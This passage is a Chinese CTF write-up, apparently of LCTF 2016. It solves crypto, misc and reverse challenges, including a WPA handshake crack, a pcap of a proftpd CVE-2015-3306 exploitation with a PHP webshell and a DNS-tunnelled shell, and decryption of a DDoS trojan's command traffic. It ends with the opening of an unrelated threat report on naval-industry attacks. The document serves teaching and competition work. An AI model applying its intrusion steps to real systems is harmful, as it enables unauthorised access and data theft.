47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177047077353854576295462347808999410606732L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177109317561681513876512377036078526549896L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177046828309551946677942463028497367867022L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177054808825693181779307343835312685224642L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177108259205278901023354961482837418958536L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177118898318679253860822585787041787977907L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177036512413482804011903184399450788697718L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177114900132898945572068297162714907204040L, 47151187630170508946550590940497421816323570626342529264695210340018989341227979713866943813866053413150335084934817107617993172782066024755642911882059190347569889101139210027601350765558686021652374574364157734035825031651335006681991745326523882879567488679550114398601894015152212989669287744229828109313772135492989363845359569577930002703168580012177024614659746333751944013277918979979452838910451314830517626226812111086617001446819759278727669699433710723965740498925499287801336151510037755053019684620660717114330472099865458814571094207720509115863001849254027733865594330714620127867103989520820147652839911441693648565908877821604091210108678987867242564251709096595005423318352932402719925534847930784847299511987496721904066523578263274498793322917788336595457279846976363887848066280738155134219879078067684956409012070198076296654028153831098694860754975328932529207057974618110712280934666664728972656076484522040533059678936174289345253777045003597312000627579157387613037538709979271187902698911832876797141724749720913114489026277701176857072667073091116052491281774213875710421731415977953374297574181411476522002777637311080653697834289305316477478889515245281489854177021915162579455595532972926008542466995L]
for e in esign:
tmp += hex((e%x))[2:-1].decode('hex')
print tmp
爆破脚本：
from Crypto.Hash import SHA256
from Crypto.Hash import SHA512
from time import time
import string
rang = string.letters[:26]+string.digits+'_'
m='p1eas3_b00m_me__b0om_shak4l4ka_1am_flag'
flag1 = 'p1eas3_b00m_'
flag2 = '__b0om_shak4l4ka_1am_'
h = 'b96648cc3f097c6faf581386b97d7e043521abe2369d1141d9a98d4897770ea7'
z= time()
for a in rang:
for b in rang:
for c in rang:
for d in rang:
for e in rang:
for f in rang:
if SHA256.new(flag1+a+b+flag2+c+d+e+f).hexdigest() == h:
print flag1+a+b+flag2+c+d+e+f
print time() - z
**misc 150**
首先，我们解压得到一个Misc150.txt文件。这里必须使用Winrar解压，因为其中存在文件流数据。这一点在txt文件以及压缩包大小不一致中也可以看得出来。Misc150.txt中说道
Flag.zip behind me. 暗示着文件流的存在，以及流名称为Flag.zip。我们就使用命令行来访问文件流。
>"C:Program FilesWinRARwinrar.exe" Misc150.txt:Flag.zip
打开压缩包，得到一个小压缩包一个图片。其中，小压缩包名字为Steins;Gate也就是命运石之门的名字。而图片的Christina则是命运石的女主角。在题目的描述中，有说道“命运石之门里没有flag”，这也就暗示着flag不在这两文件里面。这样我们剩下的选择就只有当前这个zip文件了。如果细心的话，会发现压缩包的注释部分有非常长条的空白行，将其三行复制出来，tab用1替换，空格用0替换就可以得到一串二进制。简单判断二进制应为7为ASCII码，解码得flag。
另一种方法是通过Ultra edit等软件，查看包数据也能发现问题。在这一部分有规律的 **0x09** ， **0x20**
，将其提取出来，替换一下也能得到flag。
**
**
**misc 300**
拿到流量包，分析可知有两次wpa握手的过程，连接的同一个wifi。第二次握手过程中wireshark根据标志位识别出来的顺序颠倒了，说明握手包有问题。根据wpa认证过程，修改Key
Information字段，得到修复的包。然后扔到aircrack去跑，在有hint的情况下三个小时之内能跑出来，得到密码：55672627，然后airdecap解包。本来以为不会有大佬注意到这是被打掉了强制重新连得，没想到大佬们注意到了好细心Orz。
tips：应该先爆破再修复和先修复再爆破是不一定的，aircrack如果不修复就爆破是爆破不出来的，有的工具是通过第一次认证破解的，有的工具通过第二次认证破解，如果不修复的话跑出来与否就看用的啥了，通过第二次认证跑的肯定不修复出不来结果。
总之最后得到通信内容：
一个文件需要逆向分析：re2
一个ip和端口：119.28.62.216:3333
re2源码：
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void readFlag()
{
FILE *pFile=fopen("./flag.txt","r");
char pBuf[32]={0};//socat tcp-l:8000,reuseaddr,fork exec:./re2
fread(pBuf,1,32,pFile);
printf("%s",pBuf);
fclose(pFile);
}
int main()
{
int i,j;
int a[19*19] = {0};
int b[19][19];
int k;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
for (k = 1; k <=19 ; k=k+2)
{
for (i = 0; i < k; ++i)
{
for (j = 0; j < k; ++j)
{
scanf("%d",&b[i][j]);
a[(b[i][j]-1)%(k*k)] = 1;
}
}
for (i = 0; i < k*k; ++i)
{
if(a[i]==0)
return -1;
}
int num;
srand(time(NULL));
num = rand()%k;
int c1=0,c2=0,c3=0,c4=0;
for (i = 0; i < k; ++i)
{
c1 += b[num][i];
}
for (i = 0; i < k; ++i)
{
c2 += b[i][num];
}
for (i = 0; i < k; ++i)
{
for (j = 0; j < k; ++j)
{
if(i==j) c3 += b[i][j];
if (i+j==k-1) c4+=b[i][j];
}
}
if (c1 != c2 || c3 != c4 || c1 != c3)
return -1;
}
readFlag();
return 0;
}
编写程序并提交结果：
#include <stdio.h>
#include <stdlib.h>
#define MAXSIZE 20
int main()
{
int matrix[MAXSIZE][MAXSIZE]; /* the magic square */
int count; /* 1..n*n counting */
int row; /* row index */
int column; /* column index */
int order; /* input order */
char line[100];
for (order = 1; order <= 19; order += 2)
{
row = 0; /* start of from the middle */
column = order/2; /* of the first row. */
for (count = 1; count <= order*order; count++) {
matrix[row][column] = count; /* put next # */
if (count % order == 0) /* move down ? */
row++; /* YES, move down one row */
else { /* compute next indices */
row = (row == 0) ? order - 1 : row - 1;
column = (column == order-1) ? 0 : column + 1;
}
}
for (row = 0; row < order; row++) {
for (column = 0; column < order; column++)
printf("%d ", matrix[row][column]);
}
printf("n");
}
return 0;
}
**misc 400**
扫端口和ftp登陆尝试的流量都没啥用。。。
利用proftp的洞：CVE2015-3306，获得了192.168.138.136的shell，写到web目录下一个1.php一句话。然后通过另外一台机器连菜刀，down下来了两个文件：xor.jpg和whoami.jpg。名字提示很明显，xor，没有挖坑，所以两个文件xor一下得到可运行的python代码，逆向这段代码可获得AES_KEY{}。话说为什么会有人提交这个东西呢……明显格式不对啊……
proftpd漏洞利用流量：
然后取得msfshell：
利用msfshell写菜刀一句话：
菜刀连接下载文件，菜刀流量的话，去掉文件头和文件尾的东西就ok了：
图片解密python脚本：
with open("whoami.jpg",'r') as file:
pic=file.read()
temp=''
with open('xor.jpg','r') as file:
t=file.read()
for a,b in zip(t,pic):
print chr(ord(a)^ord(b)),
m="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539"
def process(a,b,m):
return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m.decode('hex')))))
for i in xrange(255):
for j in xrange(255):
if "AES" in process(i,j,m):
print process(i,j,m)
得到AES_key{}，AES啊！不是LCTF！
然后DNS流量异常，找了个DNSshell不能用啊，于是自己xjb写了一个xjb传的shell。发一个baidu.com的开始接收命令，一个命令执行传回去一个google.com。找到这些返回google.com的蜜汁流量，拼到一起用AES_key解密就可以看到：
混进去了一堆xjb访问的http流量，访问了L-team.org的about页面，发现DNS解析了不少dalao博客的地址，就当广告了233333：
最后，解密得到Please submit the used ftp CVE ID like "CVE********"and
LCTF{A11_1n_0ne_Pcap} as your flag.eg."CVE12345678A11_1n_0ne_Pcap"
**
**
**Reverse**
**Re100**
re100设计之初就是消耗耐心的逆向，并没有什么有趣的东西在里面，所以最后的排序函数也只是烂代码增加难度系列(不要打我)。此外Re100最后的排序算法出了一点小问题，需要选手用暴力搜索来解出这道题，不过对题目整体设计没有影响。
算法主体是CBC+字符串排序。外围是Qt的信号槽机制。
排序函数：
for(QVector<int>::iterator iter = pd.begin(); iter != pd.end(); ++iter){
num = *iter;
num = num % key.size();
while(randlist.indexOf(num) != -1){
num = (num + 1) % pd.size();
}
randlist.append(num);
}
void Randlist::randpd(QVector<int> &pd){
int idlist;
int begin_index = 0;
int idpd = begin_index;
do{
idlist = randlist.indexOf(idpd);
std::swap(pd[idlist], pd[begin_index]);
idpd = idlist;
}while(idpd != begin_index);
}
程序流程是，获取输入后先用x09补全长度到5的倍数。之后是CBC加密，这里没有使用初始IV。key="Cirno"，5个字符一组，先和将每一个字符的高4位和低4位交换，再和key异或。除第一组外每组再和前一组异或。最后使用上面的代码和最初(补全后)的输入生成奇怪的位置字典，重排CBC后的字串，进行`strcmp`。
**Re200**
re200是一个完(zhi)整(zhang)的文件加密器。当然，解密器我没有写。这题本来是想玩SMC的…但是后来发现写好的SMC对逆向无任何干扰，反而是signal坑了不少人。
程序在main函数执行前(init)先运行了sub_8048901，用sig ==
ppid检测了是否被调试，如果是的话就直接将一个后面用到的表填充为错误数值。之后是取得分页大小，将sub_8048AC3所在的内存设置为RWX。最后设置signal(SIGUSR1,
sub_80489FB)。以上这些除了sysconf()，都是int 0x80实现的。
main函数执行，再一次检测是否有调试(有的话直接exit)，获得用户输入，补全为偶数长度，拷贝字符串到全局变量，然后用kill(0,
SIGUSR1)触发了之前设置的signal，跳转到sub_80489FB。将补全后的字符串分为两个一组，循环调用sub_8048A7B。在sub_8048A7B中根据((a>>2)&0x3)和之前的表得到一个函数地址，调用sub_8048AC3。
sub_8048AC3在初始化时被设置为RWX…利用sub_8048A7B中的函数地址进行SMC，跳转到取得的函数中。在之后的函数就是对这组字符的移位和异或加密。
signal处理完成，回到正常流程中，再再一次检测是否有调试(出题人:求不打)。对加密完的字串做base16。最后用维吉尼亚算法加密文件，输出。
解题时，维吉尼亚直接在线解密就可以，然后得到key.明文是小说《基督山伯爵》里面随意选的一段话，只是为了帮助进行维吉尼亚解密，并没有实际意义。解密得到key后，程序就和一个crackme没什么区别了…分析算法逆出orignal
key即可。测试时是正向暴力破解，反推也没问题。
orignal key = H4ck1ngT0TheGate
此外：
main函数的前后分别会执行init和finit。本题源码中的init声明如下
void init_game(void) __attribute__((constructor));
objdump和gdb分析ELF时都需要Section header table，但是ELF文件的执行只需要Program header
table。程序编译完之后直接覆盖了Section header table，导致gdb直接GG。但是对IDA无效。section header
table也是可以重建的，但是…之后还是有反调试拦着(逃)。
因为char类型的符号问题，在逆推时会有点小问题。但是这并不重要…逆推也是可解的。
测试脚本：
char *strkey = "ieedcpgdhkedddfenkfaifgggcgbbbgf";
char all_a;
char all_b;
int main(int argc, char const *argv[])
{
boom();
return 0;
}
void zero(){
char c;
//c = a
c = (all_a & 0xF0) | (all_b & 0x0F);
all_b = (all_a & 0x0F) | (all_b & 0xF0);
all_a = c;
all_a = all_a ^ 0x99;
all_b = all_b ^ 0x55;
}
void one(){
all_a = all_a ^ all_b;
all_b = ((all_b >> 4) & 0x0F) | ((all_b << 4) & 0xF0);
}
void two(){
//c = a
char c;
c = (all_a & 0x0F) | (((all_b & 0x0F) << 4) & 0xF0);
all_b = ((all_a >> 4) & 0x0F) | (all_b & 0xF0);
all_a = c;
}
void three(){
//and 0xF0 ?
all_a = all_a ^ (all_a << 4);
all_b = all_b ^ (all_b << 4);
}
void boom(){
char end[16];
int map;
int a, b, i;
char tmp_1, tmp_2;
char end_1, end_2, end_3, end_4;
for(i = 0; i < 32; i+=4){
printf("Num %d and %d:n", i, i+1);
for(a = 0; a <= 0xFF; ++a){
for(b = 0; b <= 0xFF; ++b){
all_a = a;
all_b = b;
map = (a >> 2) & 0x3;
switch(map){
case 0: zero();break;
case 1: one();break;
case 2: two();break;
case 3: three();break;
}
tmp_1 = all_a;
tmp_2 = all_b;
end_1 = (tmp_1 & 0x0F) + 0x61;
end_2 = ((tmp_1 >> 4) & 0x0F) + 0x61;
end_3 = (tmp_2 & 0x0F) + 0x61;
end_4 = ((tmp_2 >> 4) & 0x0F) + 0x61;
if((end_1 == strkey[i]) && (end_2 == strkey[i+1]) && (end_3 == strkey[i+2]) && (end_4 == strkey[i+3])){
printf("%c%cn", a, b);
}
}
}
}
}
**Re300**
Re300原本的出题人跑路了，我临时帮他出题。随手找了个DDoS木马。本着不互相伤害的原则。没有用MIPS版本，没有去掉符号表。所以就很easy了。
首先，题目提供一个ELF可执行文件（re300）和抓的包（dump.pcap）。提示信息flag(ip:port)，那自然是找被打的ip和端口号了。关于此马的详细分析可参考
<https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902R_y_RQ>因为使用AES加密数据包，遂家族命名为AES.DDoS。本样本产自China的变种台风ddos，支持多平台MIPS，Windows，Linux等。
首先观察数据包，就那么几条。显然C&C IP为192.168.168.133，上线端口48080，而Victim IP
为192.168.168.148（由第4个数据包可以确定）。那么可以确定第16个数据包，为中控IP像肉鸡发送的指令包。
懂得人自然懂。数据包的格式一般为【指令号+数据内容】在`_ConnectServerA`函数里，106行接收buffer，前4个字节表示指令号，当其为6时（118行），执行
**DealwithDDoS** :
ok，接下来我们可以发现程序使用AES算法开始解密，同时注意到数据包中存在重复的数据`7df76b0c1ab899b33e42f047b91b546f`，很容易联想到分组加密的ECB（电码本）模式，并且分组长度是16，这点从key0也可以辅证。
由此我们可以解密出数据包。接下来就是找到数据包中表示ip和port的字段。这个看一下DealwithDDoS（128行）这个函数。数据包的偏移位置0x184表示attackMode(SYN,TCP,UDP…)，那0x188处就是轮数了吧。
随便挑一个mode跟进，SYN_Flood函数。40行和41行分别取出port，ip。至此，题目想要的数据已经分析出来了。
最后就是写脚本啦：
from Crypto.Cipher import AES
from struct import unpack
from hashlib import md5
with open('./re300') as fp:
fp.seek(0xe81ff)
key = fp.read(16)
with open('./dump.pcap') as fp:
data = fp.read()
idex = data.find('x06x00x00x00')
data = data[idex+4:idex+0x1a4]
aes = AES.new(key , AES.MODE_ECB)
text = aes.decrypt(data)
ip = text[:text.find('x00')]
port = unpack('<H',text[0x1d4-0x54:][:2])[0]
flag = md5(ip+':'+str(port)).hexdigest()
print 'flag is: {0}'.format(flag)
**Re 400**
题目试图用magic_file作为块链数据挖矿，挖到前3400个block之后，用他们的哈希值生成IV和Key，解密Flag字符串。题目除了去除了符号表之外，没有任何反调试和反分析内容，基本就是考察算法逆向能力。题目的一个切入点就是，通过trace可以发现在一系列函数中耗了很长时间，由此可以发现SHA256的相关代码，再分析上下文的代码，也就差不多能看出挖矿的过程了。结合题目前期给出的UID（转换成十进制搜索，可以发现是第一个block的Nonce值），以及后期给出的Bitcoin提示，应该是能明白程序在干什么的。
相关代码已经上传到Github了，这里就不多介绍。
**Re 500**
关于Re500，首先向大家道歉，由于时间关系，出题人手残把SIU_PGPDO和SIU_PGPDI的地址值写反了，比赛结束后有队伍报告了这个问题……
这道题是一个跑在嵌入式设备中的程序，目标芯片是Freescale的MPC5674F，使用了Erika
RTOS。程序原理是，初始化外部的LCD1602，并将flag打印到屏幕上。在设计的时候，我埋下的几个坑点有：
有时候IDA导入时，默认开了VLE，你要自己在导入成功之后去Options里关掉VLE，然后Reanalyze一下（导入的时候关掉VLE是没作用的，不知道是我的使用方法不对还是他自己的bug，有知道的还望指点下）。这个在题目描述里实际也是有的（"I
Hate Change"，VLE是变长指令集）；
无意把寄存器写反，坑了一波……这个真不是有意的……再次向表哥们低头；
有的队伍看到ELF就先去用qemu跑了，这个应该是跑不起来的……用TRACE32应该可以搞，不过未必比静态分析方便；
程序是跑在一个RTOS上的，所以如何把RTOS的代码和业务代码分开，对没有过相关开发或逆向经验的选手可能有点麻烦（不过也完全可以借助FLIRT）；
MCU和外设（LCD1602）的连线采用并行方式，但是D0-D7不是顺序接入的，有三根线被人为调换了位置，意在模拟由于PCB布线或生产问题，导致两个设备之间没办法用连续的一段IO口通信；
没有直接向LCD1602送出字符，而是先把字模写到了`CGRAM`，然后再显示到屏幕上，另外字模的显示字符和对应字母是不一致的，而且先解出来IO口的乱序规则才可以使用字模……；
有三段代码都能和LCD1602通信，但是仔细分析之后可以发现，只有一段代码比较像正确的代码，因为只有那段循环每次都有机会和外设通信，其他的是忽悠你的，毕竟连优先级都没有第一段高；
同样把代码传到了Github上，大家可以自行查阅。
拿到题后先正确的载入到IDA中，然后最简单的方法是直接查看字符串，有一段以FAIL开头的字符串，找到引用函数，然后直接去读。这种方法根本不需要对RTOS和业务代码做区分，比较快。通过向外发送的控制字，以及将数组取出分析，可以知道这应该是在送字模，但是字模是乱掉的。解决办法就是，要么自己根据FLAG格式推测，要么从送控制字之前的几个移位操作分析出硬件连线。
解题脚本如下：
#!/usr/bin/python
srctext="FAIL{tX1NJfGxnatFxY63Wxmlpxh12Z0h5xeGxaH56Nfy}" #get from bin
charmap={ # get charmap from bin
0xA9:[0x46, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x46],
0xAA:[0x00, 0x00, 0x00, 0x15, 0x15, 0x46, 0x42, 0x42],
0xAB:[0x00, 0x00, 0x00, 0x44, 0x03, 0x45, 0x03, 0x45],
0xAC:[0x00, 0x00, 0x00, 0x47, 0x02, 0x44, 0x01, 0x47],
0xAD:[0x00, 0x00, 0x00, 0x45, 0x03, 0x02, 0x02, 0x45],
0xAE:[0x04, 0x06, 0x04, 0x04, 0x04, 0x04, 0x04, 0x46],
0xAF:[0x53, 0x53, 0x53, 0x53, 0x15, 0x15, 0x15, 0x15],
0xA0:[0x12, 0x02, 0x02, 0x46, 0x03, 0x03, 0x03, 0x46],
0xA1:[0x16, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x57],
0xA8:[0x46, 0x11, 0x11, 0x40, 0x04, 0x02, 0x10, 0x57],
0xF9:[0x00, 0x00, 0x00, 0x44, 0x03, 0x47, 0x02, 0x45],
0xFA:[0x00, 0x00, 0x00, 0x56, 0x15, 0x15, 0x15, 0x15],
0xFB:[0x46, 0x11, 0x11, 0x46, 0x11, 0x11, 0x11, 0x46],
0xFC:[0x13, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x44],
0xFD:[0x04, 0x00, 0x00, 0x06, 0x04, 0x04, 0x04, 0x46],
0xFE:[0x46, 0x11, 0x01, 0x44, 0x01, 0x01, 0x11, 0x46],
0xFF:[0x00, 0x00, 0x00, 0x53, 0x06, 0x02, 0x02, 0x16],
0xF0:[0x56, 0x03, 0x03, 0x46, 0x02, 0x02, 0x02, 0x16],
0xF1:[0x47, 0x11, 0x10, 0x06, 0x40, 0x01, 0x11, 0x56],
0xF2:[0x46, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x46],
0xF3:[0x47, 0x40, 0x40, 0x40, 0x40, 0x40, 0x50, 0x16],
0xF4:[0x00, 0x00, 0x00, 0x53, 0x03, 0x03, 0x03, 0x45],
0xF5:[0x56, 0x03, 0x03, 0x46, 0x03, 0x03, 0x03, 0x56],
0xF6:[0x56, 0x03, 0x03, 0x46, 0x42, 0x03, 0x03, 0x17],
0xF7:[0x17, 0x03, 0x42, 0x06, 0x42, 0x42, 0x03, 0x17],
0xE8:[0x57, 0x50, 0x40, 0x04, 0x04, 0x04, 0x04, 0x04],
0xE9:[0x40, 0x00, 0x44, 0x40, 0x40, 0x40, 0x40, 0x16],
0xEA:[0x53, 0x03, 0x07, 0x07, 0x43, 0x43, 0x03, 0x17],
0xEB:[0x40, 0x44, 0x42, 0x42, 0x50, 0x47, 0x40, 0x41],
0xEC:[0x04, 0x04, 0x44, 0x42, 0x42, 0x47, 0x03, 0x13],
0xED:[0x00, 0x56, 0x03, 0x03, 0x03, 0x46, 0x02, 0x16],
0xEE:[0x00, 0x00, 0x00, 0x47, 0x40, 0x04, 0x04, 0x47],
0xEF:[0x45, 0x03, 0x10, 0x10, 0x51, 0x11, 0x03, 0x44],
0xE0:[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57],
0xE1:[0x56, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x56],
0xE2:[0x57, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x57],
0xD9:[0x47, 0x11, 0x10, 0x10, 0x10, 0x10, 0x11, 0x46],
0xDA:[0x12, 0x02, 0x02, 0x43, 0x42, 0x46, 0x03, 0x17],
0xDB:[0x00, 0x00, 0x00, 0x44, 0x03, 0x03, 0x03, 0x44],
0xDC:[0x13, 0x03, 0x03, 0x47, 0x03, 0x03, 0x03, 0x13],
0xDD:[0x13, 0x03, 0x03, 0x42, 0x42, 0x44, 0x04, 0x04],
0xDE:[0x16, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x57],
0xDF:[0x57, 0x10, 0x10, 0x56, 0x01, 0x01, 0x11, 0x46],
0xD0:[0x00, 0x00, 0x00, 0x53, 0x42, 0x04, 0x42, 0x53],
0xD1:[0x57, 0x15, 0x04, 0x04, 0x04, 0x04, 0x04, 0x46],
0xD2:[0x12, 0x02, 0x02, 0x46, 0x03, 0x03, 0x03, 0x17],
0xD3:[0x53, 0x42, 0x42, 0x04, 0x04, 0x04, 0x04, 0x46],
0xD4:[0x57, 0x03, 0x42, 0x46, 0x42, 0x02, 0x02, 0x16],
0xD5:[0x46, 0x11, 0x11, 0x11, 0x47, 0x01, 0x03, 0x46],
0xD6:[0x00, 0x04, 0x04, 0x46, 0x04, 0x04, 0x04, 0x41],
0xD7:[0x46, 0x50, 0x10, 0x56, 0x11, 0x11, 0x11, 0x46],
0xC8:[0x00, 0x45, 0x03, 0x03, 0x03, 0x45, 0x01, 0x41],
0xC9:[0x00, 0x17, 0x03, 0x42, 0x44, 0x04, 0x04, 0x12],
0xCA:[0x46, 0x11, 0x11, 0x11, 0x17, 0x51, 0x46, 0x41],
0xCB:[0x00, 0x00, 0x00, 0x17, 0x03, 0x42, 0x44, 0x04],
0xCC:[0x53, 0x42, 0x42, 0x04, 0x04, 0x42, 0x42, 0x53],
0xCD:[0x57, 0x50, 0x40, 0x04, 0x04, 0x02, 0x03, 0x57],
0xCE:[0x15, 0x15, 0x15, 0x46, 0x42, 0x42, 0x42, 0x42],
0xCF:[0x00, 0x45, 0x03, 0x44, 0x02, 0x47, 0x02, 0x45],
0xC0:[0x00, 0x00, 0x00, 0x56, 0x03, 0x03, 0x03, 0x17],
0xC1:[0x41, 0x04, 0x04, 0x47, 0x04, 0x04, 0x04, 0x47],
0xC2:[0x57, 0x03, 0x42, 0x46, 0x42, 0x02, 0x03, 0x57],
0xC7:[0x41, 0x01, 0x01, 0x45, 0x03, 0x03, 0x03, 0x45],
0xE3:[0x41, 0x40, 0x40, 0x04, 0x40, 0x40, 0x40, 0x41],
0xE5:[0x06, 0x04, 0x04, 0x40, 0x04, 0x04, 0x04, 0x06]
}
for i in srctext:
c = list(charmap[0x98^ord(i)])
c = [0]*(8-len(c))+c
for r in c:
if type(r)==str:
r = ord(r)
# swap the io line
r=((r&0b00000001)) |((r&0b00000010)<<2) |((r&0b00000100)) |((r&0b00001000)>>3) |((r&0b00010000)) |((r&0b00100000)) |((r&0b01000000)>>5) |((r&0b10000000))
# convert to graph
r = bin(r)[2:]
r = '0'*(8-len(r))+r
r = r.replace('0',' ')
r = r.replace('1','x18')
print(r)
input()
**Attachments**
****
1\. Pwn出题人给出的源码：<https://github.com/Ic3makr/pwnable-solutions/tree/master/L-ctf-2016>
2\. Re400、500的源码：<https://github.com/SilverBut/2016CM> | 社区文章 |
### 背景
10月17日，我们披露了“MartyMcFly”威胁活动[Rif.
Analysis](https://blog.yoroi.company/?p=1829)，这群未知的攻击者的将意大利海军作为目标。该分析报告被卡巴斯基[ICS
CERT](https://ics-cert.kaspersky.com/news/2018/10/22/yoroi/)引用，并进一步说明：该组织在德国、西班牙、印度等多个国家均存在威胁活动。由于卡巴斯基的扩展分析，我们决定收集更多威胁指标，为此我们与Fincantieri公司（欧洲海军最大的合作商）的安全团队协作，以便监测到更多的威胁。在先前的“MartyMcFly”攻击中，Fincantieri公司并未遭受影响，他们甚至在MartyMcFly爆发前一两周的8月20日，发现并阻止了针对其他基础设施的一些潜在威胁。我们的任务是弄清楚针对意大利海军工业的攻击之间是否存在相关性，并尝试分析其原因。
### 恶意邮件
